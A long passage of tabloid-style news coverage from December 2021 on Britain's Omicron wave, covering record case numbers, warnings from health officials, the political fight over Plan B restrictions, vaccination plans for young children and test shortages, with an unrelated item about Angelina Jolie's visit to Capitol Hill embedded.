Covid jabs for children. As a result, medics in England have been told to start preparing for the mass vaccination of children as young as five years old, leaked documents have revealed. The NHS England papers are believed to say that parental consent will be needed to vaccinate five to 11-year-olds once plans are approved by regulators. Children of a school class test themselves on Covid-19 with the so-called 'lollipop test', which is a pool PCR test for the coronavirus, at Petri primary school in Dortmund, western Germany, on November 23, 2021 They also state that the environment in which primary school children are given the Covid-19 jab must be 'age appropriate', according to The Times. The documents reportedly said the vaccination process should be 'plotted through the eyes of a child' in a bid to reassure younger patients. It comes after SAGE experts have warned that Britain's recent surge in Covid cases is now being driven by children. Meanwhile on Wednesday, the World Health Organisation warned that Omicron is spreading at an unprecedented rate and the current Covid-19 vaccines appear to be slightly less effective in preventing severe disease and death. But the WHO has said that the vaccine still do provide 'significant protection' from the virus. The variant first detected in South Africa and Hong Kong last month has now been reported by 77 countries and is probably present in most worldwide, but should not be dismissed as 'mild', WHO Director-General Tedros Adhanom Ghebreyesus said. 'Omicron is spreading at a rate we have not seen with any previous variant,' Tedros told an online briefing. 'Even if Omicron does cause less severe disease, the sheer number of cases could once again overwhelm unprepared health systems.' 'Evolving evidence suggests a small decline in the effectiveness of vaccines against severe disease and death, and a decline in preventing mild disease or infection,' he said without giving specifics. The head of the EU's executive branch Ursula von der Leyen said Wednesday the bloc is well prepared to fight omicron with 66.6% of the European population now fully vaccinated against the virus. Von der Leyen said she is confident the EU has the 'strength' and 'means' to overcome the disease although expressing her sadness that once again 'Christmas will be overshadowed by the pandemic.' Advertisement England's chief medical officer Chris Whitty told people to scale back their Christmas events and warned that Omicron 'is going to be a problem' after daily Covid cases rocketed to their highest ever level and Government scientists called for further restrictions. More than 78,000 people tested positive for Covid in the past 24 hours a 50 per cent jump on last week, and eclipsing the previous record of 68,053 during the second wave in January. Just minutes after the surge was announced, Prof Whitty told a Downing Street press conference that 'records will be broken a lot over the next few weeks' by the new variant, which is now dominant in London. He also warned that thousands of people will be hospitalised this winter. Omicron already makes up a third of cases, but grim Government modelling predicts that up to 400,000 people are getting infected by the strain every day. Public health chiefs are now calling for 'Plan C' curbs as they warn there could be 1million daily cases by next month and 4,000 hospital admissions levels similar to those seen during the January shutdown. However, the projections are heavily disputed. Prof Whitty also appear to dismiss the only major real-world study of Omicron conducted in South Africa, which found that the variant causes a third fewer hospital admissions than the Delta strain. He said what is lacking currently is 'clear data on some of the really key questions' and that even if the new variant is milder, its ability to spread faster means there could still be an issue. He told the press briefing: 'I think that what most people are doing is, and I would think this seems very sensible, is prioritising the social interactions that really matter to them and, to project those ones, deprioritising ones that matter much less to them.' Asked about work Christmas parties, England's chief medical officer said: 'The risk of someone getting infected at something that doesn't really matter to them and then not being able to do the things that do matter to them obviously goes up.' But Prime Minister Boris Johnson appeared to refuse his own experts's pleas for curbs beyond Plan B, telling reporters: 'We think this is the right approach to take, the right mixture of approaches, to do these two things at once.' He added: 'We're not cancelling events, we're not closing hospitality, we're not cancelling people's parties or their ability to mix. What we are saying is think carefully before you go.' Mr Johnson also hailed the Government's booster drive, which saw 611,000 jabs dished out in the UK on Tuesday amid scenes of chaos and reports of people queueing outside vaccine clinics for five hours and then only to be turned away. It comes as UK Health Security Agency chief executive Dr Jenny Harries warned the strain is 'probably the most significant threat' since the start of the pandemic as she said cases would be 'staggering' compared to what has gone before. And NHS England chief executive Amanda Pritchard doubled down on claims that Omicron could cause even more hospitalisations than previous waves. In the latest twist and turn of the Covid crisis: Prof Chris Whitty called for 'serious caution' over a raft of promising data which suggests Omicron may cause milder disease; Boris Johnson angrily defended staff accused of hosting law-breaking parties in Downing Street during lockdown last year; The Prime Minister announced that children aged 12 to 15 will be offered their second jab from Monday to tackle a 'tidal wave of Omicron'; But Ministers refused to guarantee that schools will reopen after Christmas, amid fears of a return to mass remote learning in January; More than a quarter of Covid 'patients' currently occupying hospital beds are actually being treated for another condition, according to official data; Britain's booster jab campaign is off to a storming start with a record 611,000 Covid jabs being given out in a single day yesterday; Public health chiefs and Royal Mail bosses announced plans to double the amount of lateral flow and PCR test deliveries in a bid to tackle the Covid test supply crisis. Chief Medical Officer for England Chris Whitty attending a Downing Street press conference The above graph shows the proportion of cases suspected to be Omicron because they do not have an S-gene (purple). PCR tests look for three genes to confirm a Covid infection but with Omicron one is so mutated that they only pick up two of them The above graph shows the proportion of cases suspected to be Omicron because they do not have an S-gene (purple). PCR tests look for three genes to confirm a Covid infection but with Omicron one is so mutated that they only pick up two of them Prime Minister Boris Johnson appeared to refuse his own experts's pleas for curbs beyond Plan B Keir Starmer slams Boris over 100-strong Tory Covid curbs revolt in brutal PMQs clashes with fears rebel MPs would OUST him if he tried to impose lockdown over Omicron threat Keir Starmer slammed Boris Johnson over the mass Tory Covid revolt today amid fears he could be ousted if he tries to impose lockdown to combat the Omicron threat. The Labour leader demanded Mr Johnson 'gets his house in order' and branded him 'weak' and the 'worst PM at the worst possible time' during brutal clashes at PMQs. But Mr Johnson insisted the government is taking a 'balanced and proportionate approach', arguing that the Plan B measures were passed with 'Conservatives votes' - even though 100 of his own MPs opposed Covid passes. The bitter exchanges came as Tories turned the screw on the premier, ordering him to 'change' amid open warnings that he could face a leadership challenge next year. Although the measure went through thanks to Labour bailing Mr Johnson out, there are now serious questions about whether he has the political strength to crack down further. Mr Johnson confirmed that he has bowed to demands that Parliament must be recalled for a vote before any further restrictions are brought in, saying the Commons will get a 'further say' if 'further measures are needed'. During the pandemic most curbs have been introduced by ministers and then only approved by MPs retrospectively, something that has added to the fury of sceptics. One Cabinet source warned that the only way Tory MPs would support a tightening now was after 'very clear evidence that Omicron is leading to hospitalisations and deaths'. Advertisement Daily coronavirus hospital admissions and deaths both of which are lagging indicators were up only slightly compared to last week, with 115 deaths (up 2.5 per cent) and 774 admissions (6 per cent). The UK Health Security Agency today announced another 4,671 lab-confirmed Omicron cases, bringing the official count to 10,017. This number is much lower than the real toll because only a small number of positive tests are analysed for variants. Asked about whether No10's Plan B goes far enough, Professor Whitty said: 'I think that what most people are doing is, and I would think this seems very sensible, is prioritising the social interactions that really matter to them and, to protect those ones, de-prioritising ones that matter much less to them. He said people needed to 'prioritise what matters' in the run-up to Christmas and therefore 'deprioritise other things', adding: 'You don't need a medical degree to realise that is a sensible thing to do with an incredibly infectious virus.' Professor Whitty said he would 'strongly encourage' people to take tests before visiting vulnerable people and to meet in areas of good ventilation or outdoors if possible. The CMO a practicing NHS physician admitted his own Christmas plans with family will be interrupted. He said: 'Realistically, I think there's a high chance that my original Christmas plans with family are going to be interrupted. I hope it's not completely but we shall see.' The country will also likely to lead to lots of people, including healthcare workers, being ill at the same time and forced off work, he warned. He said: 'We may end up with quite substantial gaps in rotas at short notice.' 'Given how much difficulty my health and social care colleagues have had over the last two years, saying that is pretty depressing, because they have really, really had to stand up and go back again and again. 'The reality is this speed of onset is going to lead to lots of people getting ill simultaneously and we have to be realistic about that.' Professor Whitty also warned against overinterpreting data from South Africa, where daily hospital admissions are running at just 370 per day and data suggests two-thirds fewer patients have severe illness. He said: 'The first caution on this is simply a numerical one if the rate of hospitalisation were to halve but you're doubling every two days, in two days you're back to where you were before you actually had the hospitalisation. 'If the peak of this is twice as great, then halving of the size of the hospitalisation rate, you still end up in the same place. And this peak is going very fast.' He added: 'The second point I wanted to make, which I'm not sure it's fully been absorbed by everybody, is that the amount of immunity in South Africa for this wave because of a prior Delta wave and vaccination is far higher than it was for their last wave. And therefore the fact that there is a lower hospitalisation rate is unsurprising.' Prof Whitty said: 'That doesn't mean that there isn't some degree of slightly milder disease, that is possible. But I just think there's a danger people have over-interpreted this to say, this is not a problem and what are we worrying about? 'I want to be clear, I'm afraid this is going to be a problem. Exact proportions of it, of course, South African scientists and UK scientists and scientists globally are trying to determine at the moment.' Earlier, Dr Harries, chief exec at the UKHSA, warned that Omicron posed 'probably the most significant threat we have had since the start of the pandemic'. Despite modelling by her agency being widely disputed among scientists, she told MPs: 'I am sure for example that the numbers that we see on data over the next few days will be quite staggering compared to the rate of growth that we have seen in cases for previous variants. 'The real potential risk here and I would underline that because we are still learning a lot about the variant is in relation to its severity, clinical severity, and therefore whether those cases turn into severe disease, hospitalisations and deaths. 'We are still at too early a stage for that, in fact the world probably is still at too early a stage to be clear. 'The difficulty is that the growth of this virus has a doubling time, doubling days, at the moment which is shortening, i.e. it is doubling faster, growing faster and in most regions in the UK it is now under two days. 'When it started we were estimating about four or five. So if you think of that growth rate right across the UK and we are starting to see it and to feel it now in London particularly but yesterday particularly around Manchester and we are very sure there are levels growing across most communities in the UK now, although there is quite a lot of regional variation still.' She made the shocking claim that Omicron was doubling every 1.9 days much faster than Delta at its peak, which was doubling every seven days. Dr Harries said: 'I think we now have so many cases across the community that that is less relevant and as I say in most areas it is now settling to somewhere around 1.9 days. 'It is difficult to predict where it will go, it is a very unusual variant.' It came after Professor Medley, who chairs the SPI-M modelling group that feeds into SAGE and has been heavily criticised in the past for over-egging Covid waves, said it was possible the NHS could be overwhelmed next month with the current curbs that are in place. Speaking in a personal capacity, Professor Medley told BBC Radio 4 it is 'very hard to predict in real time exactly what's happening on any day, but it's certainly true that the numbers of infections primarily with Omicron is increasing, and has been increasing quite dramatically'. He added: 'We're probably now at the level that we have been at the past, sort of back in January, and it does look as though it's going to continue beyond that and go over it.' Professor Medley said there is not currently any good information on the severity of Omicron but added: 'We are a population in a very different position to this time last year, in the sense that the majority of people have been vaccinated and there has been much infection since then, so there is much more immunity... 'The fact that we are much more immune than we were generally means that the virus will appear to be much less severe. 'So, individually, we have a much lower risk but the numbers of infections means that even though individually we're at less risk, at a population level (the) number of people ending up in hospital could get very large.' Professor Adam Finn, from the University of Bristol and a member of the Joint Committee on Vaccination and Immunisation (JCVI), told BBC Breakfast the wave of Omicron is just taking off across the country. Is London taking ITSELF into lockdown? Parts of London's West End were effectively in lockdown today as theatre shows were suspended and pubs and restaurant suffered a wave of cancellations triggered by mounting fears over the new Covid variant sweeping the capital. Big-budget productions from The Lion King at the Lyceum to Life of Pi at Wyndham's Theatre halted performances due to virus outbreaks among their cast and crew a decision which is costing producers hundreds of thousands of pounds. The Royal Shakespeare Company's production of A Comedy Of Errors at the Barbican and The Curious Incident of the Dog in the Night-Time in Wembley were also cancelled, while the National Theatre postponed a preview of Hex after a lead actor caught the virus. Others which have been suspended include The Rhythmics at Southwark Playhouse, Force Majeure at Donmar Warehouse and Fair Play at the Bush Theatre. Moulin Rouge at Piccadilly Theatre also suspended shows but has now restarted. Restaurants and pubs in the West End have been left 'devastated' by people cancelling bookings due to fears over the spread of the so-called 'Omicron' variant, which has become the dominant Covid strain in London. Advertisement He said: 'The wave is coming very fast and in fact alarmingly fast - if anything faster than ever. So it really is a race at the moment. 'The more immunity that we've all got the less of a problem this is going to be, but I'm afraid it is going to be a serious problem either way.' Professor Finn said it is not up to him to say what regulations should be put on the population, but added: 'I think I can certainly encourage people to do everything they can to minimise spread of the virus during this critical period and, of course, a lot of that can be done voluntarily without anyone imposing rules on people. 'We all know now what the things are that we can do. We can avoid social contact, we can minimise contact at work, we can wear masks and really importantly, do lateral flow tests and check that you aren't showing signs of infection on a test before you go into a crowded place where you might infect other people.' Professor Finn said he is 'very concerned' about the current number of daily infections, adding that we are 'going to see the numbers of people becoming ill and needing hospital care beginning to rise steadily now over the next week and maybe over Christmas as well'. But he said boosters take effect in the body quickly, adding: 'It does come through very fast because you've got immunological memory, you've seen the antigen before from your previous doses, so the level of protection goes up pretty quick.' Despite pressure from within his own scientific ranks, Mr Johnson is not expected to announce new Covid curbs tonight after he defended the current Plan B restrictions as 'proportionate' in the Commons this afternoon at Prime Minister's Questions. There are questions about whether the PM would even be able to push through more stringent curbs, given that nearly 100 Tories rebelled against Plan B in a stinging blow to his authority. 'I respect and understand the legitimate anxieties that colleagues have about restrictions on ...liberties,' Johnson told parliament during its weekly prime minister's questions session. 'But I believe that the approach that we are taking is balanced and proportionate and right for this country,' he said, adding that he would continue to 'get on with the job' when asked if he would resign. Ms Sturgeon has said the backbench rebellion by Tory MPs was 'dangerous' as it could undermine Boris Johnson's ability to make tough decisions on the pandemic. The First Minister questioned whether Mr Johnson had the authority from his own party to pass measures to tackle coronavirus. Scotland has had mandatory masks in most indoor settings for months and on Tuesday Ms Sturgeon advised people to limit socialising to just three households. The Welsh Government has also warned it could announce some further Covid restrictions for the Christmas period due to the spread of the Omicron variant. There is also growing pressure on Mr Johnson to enforce local lockdown curbs in London, which has quickly become England's Omicron capital. Professor Tim Spector said infections in London were now rising at their fastest rate since the first wave. The above graph shows the app's estimates for cases in the city, and reveals they are ticking up at about the same rate as when Delta emerged This graph shows the Covid infection rate per 100,000 people in England's regions. It also shows there has been a rapid uptick in London (red) while cases remain largely flat in other regions The above graph shows the seven-day average for hospital admissions in different regions of England. It reveals that in London (orange) there has been a steady increase Covid cases in London are surging upwards amid the spread of the Omicron variant which now makes up more than 50 per cent of daily infections in the city. Case numbers are the highest they have been since January Patient hospital admissions with Covid in London are also beginning to rise, but this is a lagging indicator because of the time taken for someone who has caught the virus to fall seriously ill Covid deaths in the capital are still flat. But these are also lagging indicators Transport Secretary warns it is 'inevitable' that people will need three jabs to go on holiday Britons wanting to holiday abroad next year will 'inevitably' require a third Covid jab to be allowed into destination countries, Grant Shapps revealed today. The Transport Secretary said nations including G7 members like the US, France and Italy, all popular with millions of UK tourists, were likely to make it an entry requirement in 2022. The booster jab is also likely to become a domestic requirement to be classed as fully vaccinated within Britain, with ministers saying rules will be updated as soon as people have had a reasonable chance to get it. Mr Shapps told Sky News this morning: 'I speak to my opposite numbers in other countries - transport secretaries from around the world - particularly from the G7 this year, which we are hosting. 'They are saying ''look we are going to switch to requiring people to have that third jab'' before they are able to come into their countries so eventually it becomes inevitable because other countries will require it for us. 'I don't know what that time will be - not this year.' Meanwhile travellers currently detained in quarantine hotels in the UK will be told later today when they will be released. Jonathan Mogford, the senior responsible officer for the managed quarantine service at the UK Health Security Agency, was questioned about reports some people were fleeing the hotels after the red list was scrapped in England at 4am. Mr Mogford told the Commons Transport Committee: 'The standard practice has been that if you have started hotel quarantine you need to complete it. 'For this de-listing, where Omicron has moved unexpectedly fast, we want to release people early. 'We are sorting out the arrangements for that as quickly as possible, we need to make sure we are not releasing Covid or Omicron-positive guests immediately.' Advertisement A spokesman for the London mayor suggested yesterday that they would support more restrictions for the capital, saying it is better to 'act now'. But Tories called on ministers to rely on the 'vaccine shield'. Hospitalisations in London have also started to tick upwards, rising 50 per cent in a fortnight. But the raw numbers still stand at around 150 a day, compared to nearly 1,000 during the darkest days of the capital's second wave in January. Deaths remain flat at around 10 a day. These are lagging indicators, however, because of the time taken for someone who catches the virus to fall seriously ill and be admitted to hospital, meaning the worst of the rapid spread which has yet to show any signs of slowing down won't be felt until the New Year. Professor Tim Spector, an epidemiologist at King's College London who runs the country's largest Covid symptom study, claimed that hospitalisations in London are now surging at their fastest rate since the end of the first wave of the pandemic. He told BBC Radio 4's Today programme: 'If we look at our regional charts, we see London really accelerating more than we have really seen it anytime since the first wave.' But figures from his own Covid Symptom Study, which has more than a million daily contributors, suggest Covid cases in the capital are not rising faster than last winter when the Alpha variant took hold. During the first month of the Omicron wave cases in the capital have risen by almost a third, the study says, from 7,626 to 9,856 estimated daily infections. But during the first month of the Alpha wave last winter Covid infections surged by 71 per cent from 7,694 to 13,228 daily infections. When Delta emerged the app estimates cases also rose by a third from 6,483 to 8,380. Separate data from the Department of Health's Covid dashboard also shows cases in the capital are not rising faster than when Delta or Alpha took hold. It suggests cases in the capital have doubled since the Omicron wave began, with the seven-day average for cases rising from 3,024 to 6,119.6 daily infections. But when Alpha took hold it shows infections quadrupled over the same period from 1,985 to 10,725. And when the Delta wave began they rose three-fold from 243 to 954. The beginning of the waves was set as the low-point in infections before they spiralled. For the ZOE Symptom Study app, this was November 11 for the Omicron wave, June 13 for Delta and December 2 last year for Alpha. And for the Department of Health figures this was November 4 for Omicron, May 14 for Delta and November 23 last year for Alpha. Covid infections are rising from a higher base now than when Alpha took hold, which may explain why the new variant is not causing cases to spiral as quickly. More Britons also have immunity against the virus now than when Delta and Alpha emerged through either vaccination or past infection, which may also be helping to slow the spread of the virus. Doctors on the frontlines in South Africa had suggested Omicron was triggering more mild disease among patients. Britain out of lateral flow tests: Grant Shapps blames 'distribution issues' as website says there are 'no delivery slots' left and pharmacies are told they can't have extra swabs despite entire cities running out Grant Shapps today blamed 'distribution issues' on the lack of lateral flow tests as the Government website revealed delivery slots had run out and pharmacies were told they couldn't have extra swabs despite entire cities running out. In an uncomfortable interview with Sky News, the Transport Secretary today claimed there are enough lateral flow tests to go around - despite the Government's own website yesterday saying there were 'no tests available to order for home delivery'. Instead he said the issue had been getting the tests out to people. Mr Shapps said health chiefs were working with Royal Mail, Amazon and other delivery firms to get tests out to homes and pharmacies. Squirming as he answered a question from Sky New's Kay Burley, he said: 'Just on lateral flow tests, which actually, uniquely, in that as far as I can see there aren't other countries that have been supplying these free of charge to their citizens, major economies haven't generally been doing this, and we have in this country, you are right, particularly since the new measures, the booster programme, asking people to be testing, came in, it can be difficult at different times of day to get those. Advertisement Official figures from the country showed that although hospitalisations rose at a similar level to when Delta took hold, there were fewer people on ventilators and in the emergency units. But it is yet to be clear whether the variant is more mild because more people now have immunity against the virus than when Delta took hold. South Africa has a lower vaccination rate than the UK with 25 per cent of people double-jabbed, but most have already caught the virus there. Experts warn it is difficult to make comparisons between the two countries because in South Africa most people are young, whereas the UK has a much older population. Professor Spector said: 'Omicron is the predominant variant already [in the capital] and will be at 100 per cent very soon, that's happened in just a matter of days really and that's why so many people are going down with infections.' He added: 'We're also tracking non-Covid viruses and currently across the country it is about one in four. '[But] in London where Covid is increasing rapidly it is far more likely to be Covid than it is to be a cold.' On Omicron's symptoms, Professor Spector said: 'The majority of symptoms are just like a common cold, so we're talking about headaches, sore throat , runy nose, fatigue, and things like sneezing. 'Things like fever and cough and loss of smell are actually now in the minority of symptoms that we're seeing.' He said there were 'no real differences' between Covid symptoms currently being reported in London now and those from a month ago before Omicron took hold. Asked whether the virus was triggering more severe disease, he said: 'We are not seeing any severe disease, we are not seeing any unusual symptoms that people have reported in South Africa. 'It's looking very similar, it's looking very respiratory. It's looking mild at the moment and it'll be a while before we know exactly how mild because most of the cases are still in the young. 'But we are getting breakthrough infections in people who are having two or three vaccinations, and that's more than we saw before. 'When we look at regions with high and low Omicron we are seeing more breakthrough infections in London where there is high Omicron.' London could soon face more restrictions, reports suggest, as ministers mull over 'Plan C' measures introducing more curbs on people's daily lives. A spokesman for the mayor Sadiq Khan said yesterday: 'Cases of Omicron are rising sharply in London and with so much at stake, it is better that we act now to safeguard the public and help reduce pressures on NHS services. 'Londoners will see vaccine centres working around the clock, more local pop-up sites coming online near them, and [the Mayor] will use all of our resources at City Hall to ensure that all of London's communities are encouraged to take up this lifesaving vaccine. 'I've never been more concerned about the pandemic than I am tonight': WHO Covid-19 envoy warns of 'unprecedented' spread of Omicron after Britain records highest ever daily cases tally since the pandemic began A senior official in the World Health Organisation has warned he has 'never been more concerned about Covid-19 than I am tonight'. Special envoy on Covid-19 to the WHO Dr David Nabarro said the spread of the Omicron variant was 'unprecedented' and presents ' serious' issue for not only the UK but 'Europe and the World'. He called on 'every single human being' to do 'everything they can' to minimise social contacts, wear facemasks and practice good hygiene to prevent transmission of the super-mutant strain. It comes after Britain today announced its highest ever daily Covid cases since the pandemic began with 78,610 people testing positive in the past 24 hours. Prime Minister Boris Johnson and Professor Chris Whitty this evening delivered a stark warning over the need to think twice before attending Christmas parties, warning Omicron already makes up a third of cases and that Government modelling predicts up to 400,000 people are getting the mutant virus every day. Speaking to Sky News, Dr Nabarro echoed Professor Whitty's warning about Christmas parties and urged 'every single human being' to 'minimise [social] contact to what is absolutely essential... only do what is vital.' Dr Nabarro said the Omicron variant is spreading 'superfast' and that the strain has 'a doubling time of numbers of cases every two to three days'. 'That means that [Omicron] will be eight times more serious in one week. Forty times more serious in two weeks. Three hundred or four hundred times more serious in three weeks. Over a thousand times more serious in four weeks.' He warned the escalating caseload, including many people who have had both vaccinations, will add stress to already overworked health systems worldwide. 'If we are lucky then we won't have high death rates but we will still get a very heavy load on health services and therefore on hospitals,' he said. Dr Nabarro said he could not predict the potential case or death toll from the latest variant and added it would not be 'helpful' to speculate. He described any prediction as 'just me expressing my hopes to you' and warned 'nobody has' the information to predict how many people will get Omicron in the coming weeks. Wuhan lab leak 'is now the most likely origin of Covid because Beijing tried to cover it up' and it is 'reasonable to believe virus was engineered in China', Harvard scientist tells MPs The Wuhan lab leak is now the most likely origin of the coronavirus pandemic because Beijing tried to cover it up, MPs were told today. Harvard scientist Dr Alina Chan told the Science and Technology Select Committee that it is 'reasonable' to believe that Covid was genetically engineered in China. She also said that the Chinese Communist Party's cover-up of the initial outbreak in Wuhan two years ago and attempts to sabotage the World Health Organisation's inquiry into the origins of the pandemic made the lab-leak theory likely. Tory peer Lord Ridley, who has co-authored a book on the origin of the virus with Dr Chan, said the fact that experts have still not found the animal host that would support a natural origin despite two years of research supports claim that Covid came from a lab. Recent revelations of China's attempted cover-up have forced British and US intelligence officials to take seriously the lab-leak hypothesis, once dismissed as a crank conspiracy theory. However, the bombshell allegations are likely to heap pressure on the UK Government to challenge Beijing's assurances that the virus came from the natural world. They are also likely to raise further questions about the relationship between Chinese President Xi Jinping and the WHO, which last year was accused of publishing a whitewash report into the outbreak. Virologist Shi Zheng-li works with her colleague in the P4 lab of the Wuhan Institute of Virology in Hubei province A May 2021 report from The Wall Street Journal cited an undisclosed intelligence report detailing how three scientists from China's Wuhan Institute of Virology sought hospital care in November 2019, months before China disclosed the outbreak Dr Chan told MPs: 'I think the lab origin is more likely than not. Right now, it's not safe for people who know about the origin of the pandemic to come forward. 'But we live in an era where there is so much information being stored that it will eventually come out. We have heard from many top virologists that a genetically-engineered origin is reasonable, and that includes virologists who made modifications to the first SARS virus.' During the same session, the editor of the Lancet Richard Horton was forced to explain why he allowed the publication of a letter denouncing the lab leak theory as a conspiracy, despite its lead author having financial affiliations to the WIV. Mr Horton said he found out about Dr Peter Daszak's link 'very quickly' after the Lancet published the letter in February last year. Dr Daszak persuaded 26 other scientists to sign off on the letter he had written claiming the virus could only have been natural in origin and to suggest otherwise creates 'fear, rumours, and prejudice'. But the EcoHealth Alliance boss was revealed to have been funneling US tax-payer funds into the Wuhan lab, which investigated and modified coronaviruses before the pandemic. The Lancet published an addendum to the letter in June this year 16 months after it was initially published acknowledging Dr Dazak's competing interests. NHS is urged to STOP counting thousands of Covid 'patients' who are actually being treated for other illnesses: Data shows a QUARTER of infected Brits in hospital were admitted for different conditions such as road accidents More than a quarter of Covid 'patients' currently occupying hospital beds are actually being treated for another condition, according to official data that has prompted calls for the NHS to change how it counts admissions in the face of Omicron. Health service statistics show there were 5,697 beds taken up by people who had tested positive for the virus on December 7, the latest date available. But 4,214 of them (74 per cent) were primarily being treated for the virus, with the remaining suffering from other illnesses or injuries. These could include a fall, broken leg, or even new mothers who tested positive after giving birth. And older people, who are more at risk from the virus, made up a smaller proportion of the patients in hospitals because of the success of the country's vaccination drive, figures also showed. The above graph shows the number of Covid patients being treated in hospital (yellow line) and the proportion of these patients for whom their primary reason for admission was Covid (red line). It reveals a quarter of Covid patients are actually receiving treatment for something else, such as a fall Campaigners today called on the NHS to stop inflating Covid admissions by including patients who were initially brought in for something else such as an accident, saying they should 'obviously' be removed from the figures so that they can't be skewed upwards. Hospital numbers are a key metric weighed up by ministers to determine if tougher Covid curbs are needed, now that vaccines have taken most of the emphasis away from crude infection numbers. Grim SAGE modelling presented to the Government has already warned hospitalisations could hit levels not seen since the darkest depths of the second wave last January. NHS England's chief executive Amanda Pritchard today told MPs that early signs show the incoming Omicron wave could be 'bigger'. No10 has already caved in to demands for Plan B restrictions, which saw work from home guidance reintroduced, face masks reimposed and the tightening up of self-isolation rules for close contacts of Covid cases. Britain's daily Covid cases hit a record high after 78,610 people tested positive for the virus over the past 24 hours, the most ever in a single day. Hospitalisations rose seven per cent after 774 more admissions were reported. Covid Pass fail! Sports fans say stadium staff are BARELY checking new compulsory vaccine status codes or negative test results - as they are waved through to their seats despite supposed crackdown Sports fans have claimed there were 'no real checks' being made on their vaccination status or negative lateral flow tests as the Government's mandatory Covid passes rule for large events and nightclubs came into force today. Thousands of spectators have been descending upon the nations' sporting venues in their droves tonight to watch Arsenal play West Ham at London's Emirates Stadium and Crystal Palace face Southampton at Selhurst Park Stadium, in Croydon. Long queues were also seen snaking around The American Express Community Stadium in Brighton as fans arrived for the Brighton & Hove Albion v Wolverhampton Wanderers football game. But have some sporting fans have now claimed their Covid passes were 'barely' checked despite the supposed crackdown. Sporting fans were seen gathering outside Selhurst Park Stadium to watch Crystal Palace face Southampton Supporters show their Covid passes to a steward as they arrive to watch Brighton & Hove Albion v Wolverhampton Wanderers at The American Express Community Stadium The large gatherings tonight come after MPs approved approved mandatory Covid passes at sporting events with more than 10,000 fans under new 'Plan B' guidelines to tackle the rise in the highly-transmissible Omicron variant. Under the new rules, adults in England will have to prove they are fully jabbed or have had a recent negative Covid test before they can go to venues where large crowds gather. Two vaccine doses will be treated as fully-vaccinated but this will be kept under review because of the booster programme. A negative PCR or rapid lateral flow test, or exemption from vaccination, will also be sufficient under the requirement. Venues could be fined up to 10,000 for failing to check passes, while the faking of a pass could also attract the same penalty. Angelina Jolie has visited Capitol Hill to discuss the Violence Against Women Act (VAWA) with Squad member Cori Bush and Republican Senator Mitt Romney. The actress, 46, posed for photos in a face mask with Democrat lawmaker Bush before ditching the covering for her sit-down with the former presidential nominee. Face masks are mandatory in the House but the Senate remains exempt from the restrictions. But Romney is one of the most pro-mask Republicans, previously advising wearing two coverings and applauding mask mandates in Utah. Bush is a member of the 'Squad', a group of six, young, racially-diverse women elected to Congress who are among the most left-leaning voices in the Democratic Party, including Alexandria Ocasio-Cortez, Rashida Tlaib and Ilhan Omar. Angelina Jolie has visited Capitol Hill to discuss the Violence Against Women Act (VAWA) with Squad member Cori Bush During her meeting with Romney, Jolie discussed her role as Goodwill Ambassador for the United Nations High Commissioner for Refugees She tweeted after her meeting with Jolie: 'I'm forever grateful to get to work in partnership with such strong women across the country in our movement to end domestic violence. 'As a survivor myself, this fight is personal. 'Thank you to Angelina Jolie for your leadership to put an end to violence against women.' Bush, a Black Lives Matter activist who was elected to Congress in 2020, previously revealed she had an abortion at the age of 18 after falling pregnant when she was raped by a church member. She told Vanity Fair in September she felt 'guilt' over the assault which triggered the 'darkest period of her life' after her rapist attacked her during an annual youth delegation trip in the summer of 1994. VAWA, which Jolie is advocating, was signed into law by President Bill Clinton in 1994 and was the first pieces of federal legislation to recognize domestic violence and sexual assault as crimes, giving resources to tackle the issues. Bush is a Black Lives Matter activist who was elected to Congress in 2020 and is a member of the 'Squad' The law was championed by Joe Biden when he was a senator, since branding it 'one of my proudest legislative achievements'. The law needs to be renewed every five years and has not been reauthorized since 2013, meaning it expired in 2018 during the federal government shutdown. Biden promised to reauthorize the act in his campaign and earlier this year, the House approved it by 244 to 172 votes. It has passed the House but remains languishing in the Upper Chamber. Bush told CBS News after her meeting with Jolie: 'She's so informed.' During her meeting with Romney, Jolie discussed her role as Goodwill Ambassador for the United Nations High Commissioner for Refugees. The actress and filmmaker took off her mask for the discussion and the pair were seen looking at photos on the wall of Romney's office. The actress and filmmaker took off her mask for the discussion and the pair were seen looking at photos on the wall of Romney's office Romney tweeted: 'Met with Angelina Jolie to discuss ways in which we can support children and families at home and abroad. 'Im grateful for her work as a Goodwill Ambassador and for her continued advocacy for the vulnerable.' Jolie previously visited the Capitol in September to discuss the act and also thanked officers who lost their colleagues after defending politicians in the January 6 riots. She then asked senators to consider expanding VAWA to cover abuse targeted at children and 'prioritize children's health and safety in legal responses to trauma, including through judicial training and advancements in forensic evidence collection.' Advertisement Boris Johnson tonight risked inflaming Tory anger by swatting away calls to 'change' after the monster revolt over Covid curbs. The PM merely boasted about overseeing the 'fastest rollout in Europe' when he was asked at a Downing Street press conference whether he will meet demands to shift his approach. The bullish stance came as increasingly restive Conservatives sent a message to Mr Johnson after the rebellion that saw 101 of his own MPs - nearly half of the backbench - vote against Covid passes. Former chief whip Mark Harper cautioned the premier that he must 'learn' from the damaging showdown over Plan B and come to Parliament to be grilled on any new restrictions, rather than going on TV and holding retrospective votes. However, Mr Johnson appeared to give short shrift to the calls this evening when he was asked at a Downing Street press conference if he will change tack. 'I am certainly not going to change the policies that have led to the fastest rollout in Europe... and delivered 500,000 more people in jobs now than before the pandemic began,' he said. Earlier Keir Starmer used PMQs to demand Mr Johnson 'gets his house in order' in the wake of the Tory meltdown, branding him 'weak' and the 'worst PM at the worst possible time'. But Mr Johnson insisted the government is taking a 'balanced and proportionate approach', arguing that the Covid measures were passed with 'Conservatives votes'. The bitter exchanges came as Tories turned the screw on the premier, amid open warnings that he could face a leadership challenge next year. Although the measure went through thanks to Labour bailing Mr Johnson out, there are now serious questions about whether he has the political strength to crack down further. Mr Johnson confirmed that he has bowed to demands that Parliament must be recalled for a vote before any further restrictions are brought in, saying the Commons will get a 'further say' if 'further measures are needed'. During the pandemic most curbs have been introduced by ministers and then only approved by MPs retrospectively, something that has added to the fury of sceptics. One Cabinet source warned that the only way Tory MPs would support a tightening now was after 'very clear evidence that Omicron is leading to hospitalisations and deaths'. Posting on Twitter today, Mr Harper said: 'Another blank cheque from Sir Keir Starmer. He's not even offering to ask any basic questions on any new Covid measures. If it wasn't for my colleagues on the Conservative backbenches, no important questions would be asked at all.' The former minister also insisted that Mr Johnson should have learned a 'lesson' from the rebellion and should 'announce anything new in Parliamentsetting out the evidence, where he can be questioned by MPs on behalf of our constituents'. However, scientists advising the Government have ramped up the pressure for tougher measures, taking to the airwaves to warn of an impending Omicron crisis. Dr Jenny Harries, head of the UK Health Security Agency 